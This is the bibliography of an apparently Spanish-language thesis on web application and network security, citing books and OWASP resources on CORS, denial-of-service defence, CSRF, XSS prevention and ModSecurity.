[15] Monsur Hossain, CORS in Action: Creating and consuming cross-origin APIs
[18] D.M.K. Jayanthi, Manoj Kumar Singh and Dileep Kumar G., DoS Attacks and Their Types -
Network Security Attacks and Countermeasures
[20] Sven Dietrich, Jelena Mirkovic, Peter Reiher and David Dittrich, An Overview of DDoS
Defenses - Internet Denial of Service_ Attack and Defense Mechanisms
119
[21] INCIBE (Instituto Nacional de Ciberseguridad),
https://www.incibe.es/extfrontinteco/img/File/intecocert/EstudiosInformes/cert_inf_seguridad_
analisis_trafico_wireshark.pdf,
[23] Ryan C. Barnett, Jeremiah Grossman, Web Application Defender's Cookbook: Battling
Hackers and Protecting Users
120
Bibliografía
7 Bibliografía
o Joe Benton, Computer Hacking: A beginners guide to computer hacking, how to hack,
internet skills, hacking techniques, and more!
o Thomas Myer, Michael Southwell and Chris Snyder, Pro PHP Security_ From Application
Security Principles to the Implementation of XSS Defenses, Second Edition
o Sven Dietrich; Jelena Mirkovic; Peter Reiher; David Dittrich, An Overview of DDoS
Defenses - Internet Denial of Service_ Attack and Defense Mechanisms
o Francesca Bosco, Andrew Staniforth, Babak Akhgar, Cyber Crime and Cyber Terrorism
Investigator's Handbook
o Peter Reiher, David Dittrich, Sven Dietrich and Jelena Mirkovic, internet Denial of Service:
Attack and Defense Mechanisms
o M.K. Jayanthi, Manoj Kumar Singh and Dileep Kumar G., Network Security Attacks and
Countermeasures
o Website:
https://www.owasp.org/index.php/CrossSite_Request_Forgery_%28CSRF%29_Preventio
n_Cheat_Sheet
o Website:
https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Proje
ct
121
o Magnus Michel, ModSecurity 2.5:Securing your Apache installation and your web
application
o Website:https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Che
at_Sheet
o Website :http://seclab.stanford.edu/websec/csrf/csrf.pdf
122